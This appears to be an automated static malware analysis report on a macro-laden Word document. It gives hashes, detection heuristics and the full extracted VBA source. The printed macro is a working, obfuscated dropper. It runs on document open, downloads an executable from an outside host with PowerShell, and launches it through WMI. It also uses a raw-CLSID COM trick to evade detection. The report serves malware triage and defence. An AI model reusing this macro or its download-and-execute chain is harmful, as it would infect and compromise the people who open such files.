Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 4c0a9ccf84aa8f8e…

MALICIOUS

Office (OOXML)

116.2 KB Created: 2020-02-17 22:04:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2020-07-24
MD5: e2b1e1c795b4761f42fa619f27086237 SHA-1: 6fbfb3dda83e09d5ade2759f9cbec0b155c2787e SHA-256: 4c0a9ccf84aa8f8e41e9ffb3ee20f82a2d77fd61514b7d278fdde4ca16ed90dc
290 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1218.011 System Binary Proxy Execution: Rundll32 T1059.003 Windows Command Shell

This OOXML document contains a VBA macro that automatically executes upon opening. The macro employs obfuscation and attempts to launch cmd.exe using WMI's Win32_Process class, indicating a likely attempt to execute arbitrary commands or download further payloads. The specific CLSID used for WMI instantiation ({c08afd90-f2a1-11d1-8455-00a0c91f3880}) is a known evasion technique.

Heuristics 9

  • VBA project inside OOXML medium 6 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • VBA WMI Win32_Process launcher critical OLE_VBA_WMI_PROCESS_CREATE
    VBA macro builds or references a WMI moniker for Win32_Process and invokes .Create to start a command. This is a high-confidence macro execution chain that often hides the WMI class name through string concatenation or helper functions.
    Matched line in script
    nwhkrmxxur = "."
    Set tjwdlt = GetObject("winmgmts:" _
        & "{impersonationLevel=impersonate}!\\" & nwhkrmxxur & "\root\cimv2")
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
    Matched line in script
    nwhkrmxxur = "."
    Set tjwdlt = GetObject("winmgmts:" _
        & "{impersonationLevel=impersonate}!\\" & nwhkrmxxur & "\root\cimv2")
  • cmd.exe reference in VBA high OLE_VBA_CMD
    cmd.exe reference in VBA
    Matched line in script
    dambkdyzerc = "cmd /c" & _
    " " & _
  • VBA instantiates a COM class by raw CLSID high OLE_VBA_GETOBJECT_CLSID_EVASION
    VBA uses GetObject("new:{CLSID}") to instantiate a COM class by raw CLSID rather than a CreateObject ProgID — an uncommon bypass of name-based macro detection.
    Matched line in script
    k = 0
    Set obj = GetObject("new:C08AFD90-F2A1-11D1-8455-00A0C91F3880")
    obj.Document.Application.ShellExecute "cmd.exe ", "/c " & " " & teqrAKqPV, "", Null, k
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()
    Call zzzv56x
  • Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://gali.keipta.us/bin_6262.exe In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingCanvasIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/inkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2017/model3dIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2016/wordml/cidIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 4470 bytes
SHA-256: fd287338713770e5421f3e7a77cc7870ec6b63a737de521fd8f789212c4b5e09
Detection
ClamAV: No threats found
Obfuscation or payload: likely
53 of 98 identifiers look randomly generated (e.g. 'Zv0fqy1jS4Q0Cy68VMOw4RJYgP6a5YWh4r91SXL5') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Private Sub Document_Open()
Call zzzv56x
End Sub


Private Sub zzzv56x()

If Sin(5.96289) + Cos(7.439867) = 23.78677 Then

Else
If "ZbRqsnMkiht" = "jg" Then

Else
Dim Words, Chars, MyString
For Words = 10 To 1 Step -1 ' Set up 10 repetitions.

        r = 5.980217 * (w ^ 2) + 9.446377 * (x ^ 0.25) + 4.81379 * (y ^ 0.33) + 8.91197 * (Z ^ 0.5)
        ri = r - Int(r)
        w = x
        x = y
        y = Z
        Z = ri
 
 MyString = MyString
Next Words


End If

End If




Call BJuNZRmlV



End Sub



Attribute VB_Name = "vErTmJMjj"


#If VBA7 Then


#Else


#End If




Public Sub BJuNZRmlV()

On Error Resume Next



If 9.82904129930454E+15 > 7.56937711045815E+15 Then


Dim gyyh As Long


gyyh = (65019 - 5) / 15


If IsDate(mydopyogr) And ((125795159 + 32) / (326600567 + 771)) <> 9.82904129930454E+15 Then

End If



End If


If 771 > 4.12629749673624E+16 Then


Dim tdazkwghqb As Long


tdazkwghqb = (4.12629749673624E+16 - 32) / 65019


If IsDate(mydopyogr) And ((125795159 + 32) / (326600567 + 771)) <> 9.82904129930454E+15 Then

End If



End If









zxdsvjpbwipbtxrj = 4364
fmewvjyscmz = "Ib5yW6RYSW9L2Ock"


Do While 617 < 3
   Select Case uburmin
            Case "ÚÍ¿ÄÌ?À´ç­???¦Ë", "àαÌÐ�´¥î¥�¦¦¬Ç", "æÛ½ÍÜ?"
               zxcbnmmf1 = "ÚÖ¹ÈÙ£²§ß???"
            Case "ÙÉ»Ñà?", "ØÒ§Ìß?¶´"
               zxcbnmmf2 = "ÖŰÉÎ?ƯÚ???"
            Case "ÙÕ»Ô", "ÞÜ»"
                zxcbnmmf3 = "ãÒ¾½Þ?³¤à"
            Case Else
               zxcbnmmf4 = "apd"
    End Select

Exit Do

Loop



a = Left("EJSwVZfgSa DdrcdALsk ELaUgocojt", 1)
b = Left("PJSwVZfgSa DdrcdALsk ELaUgocojt", 1)
'Right function
c = Left("OJSwVZfgSa DdrcdALsk ELaUgocojt", 1)

f = Right("HJSwVZfgSa DdrcdALsk ELaUgocojT", 1)

'Mid function
q = Mid("EJSwVZfgSa DdrcdALsk ELaUgocojt", 1, 11)
'Split function
d = Split("EJSwVZfgSa DdrcdALsk ELaUgocojt", " ")
For Each wrd In d
strg = strg & wrd & ", "
Next


dambkdyzerc = "cmd /c" & _
" " & _
"" & _
b & c & Chr(119) & a & Chr(114) & Chr(115) & Chr(104) & a & Chr(108) & Chr(108) & _
"(New-" & _
"Object " & _
"System" & _
".Net." & _
"Web" & _
"Client" & _
")." & _
"DownloadFile" & _
"(" & _
"'" & _
"http://gali.keipta.us/bin_6262.exe" & _
"','%temp%\hdhbpafhec.exe');start %temp%\hdhbpafhec.exe"



Const fubnzpnrhqop = 12

nwhkrmxxur = "."
Set tjwdlt = GetObject("winmgmts:" _
    & "{impersonationLevel=impersonate}!\\" & nwhkrmxxur & "\root\cimv2")
Set gijyojcyjk = tjwdlt.Get("Win32_ProcessStartup")

Set ffwwihjevcfbtxkj = gijyojcyjk.SpawnInstance_
ffwwihjevcfbtxkj.ShowWindow = fubnzpnrhqop
Set ybgwu = GetObject("winmgmts:root\cimv2:Win32_Process")
errReturn = ybgwu.Create(dambkdyzerc, Null, ffwwihjevcfbtxkj, wdsbgzye)






End Sub












Sub dbjyookxsjgcfsqx(teqrAKqPV As String)
Do Until "HBPTnQGfjVeuAQk" <> "UigthoC"
YjrKwEqZrQDLpaODiNRoJRN = "dcqFTSiSznuDZwiffEDjMZRuTdKU"
NRHWKgUNkGYilLBfLeme = "JENdUELwmqHOwmWnhOPOSvyeBbNPOIyX"
kEMtsqcIQyPRToZerdPXQTNGicsrvierjZL = 5.61511862524622E+36
KupYmGCwiNhnnkWeiAYRqGKPxlMiU = 6.01058808879894E+26
hudrUxnrkJRQXVuFDLLzI = 7.82813176401592E+26
AtrDkZbBtTcKgnJvPZqrQOAZjpVrhB = "UPytjAQNOQiQxoMoGwHv"
IRTltSUuEjUswHvhuZvyMcbhyClWAOvZ = 9.92402316095874E+17
lMyfHq = "wSKhOXAgRHMWMwZfqlnqgyupnumLv"
CmjNCtSuTaBFFtCZNJMgItUzByYUtTlpkUEZmztfN = "SMobsAnNhcyOoIRkLEVyAApMUkocnOPgTLbIKZFX"
glIrVfvHCnpJPvRXcHHMKaTMRvdh = "ZlyyRTOgU"
FtUkaaXEQJkiSxLVGRwZaCOycBqLxcDrHJCTqptmur = "XYrTAnvNxjvX"
eWHZ = "MGnGtaJvsfQYKeipqZlhpXCOFHLlyoU"
TCilZRfRKFvQwZZRoOowWruoDZAm = 103980494234479#
YxDLjEIwxQZuU = "kcmRghuwkzXKcHuhzQsCm"
HBPTnQGfjVeuAQk = UigthoC
Loop
k = "W"
k = 0
Set obj = GetObject("new:C08AFD90-F2A1-11D1-8455-00A0C91F3880")
obj.Document.Application.ShellExecute "cmd.exe ", "/c " & " " & teqrAKqPV, "", Null, k
k = VBA.Command(teqrAKqPV, Right(Right(Mid("Zv0fqy1jS4Q0Cy68VMOw4RJYgP6a5YWh4r91SXL5PxGZr214JolfhnBUF76WJ2Vx", 509), 1), 1))
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 18944 bytes
SHA-256: 171adb95f02de2e911ef428b42d4c88ca7c9ffdadef951e581dbef5131d94e50
Detection
ClamAV: No threats found
Obfuscation or payload: likely
126 of 223 identifiers look randomly generated (e.g. 'Zv0fqy1jS4Q0Cy68VMOw4RJYgP6a5YWh4r91SXL5') — consistent with name-mangling obfuscation.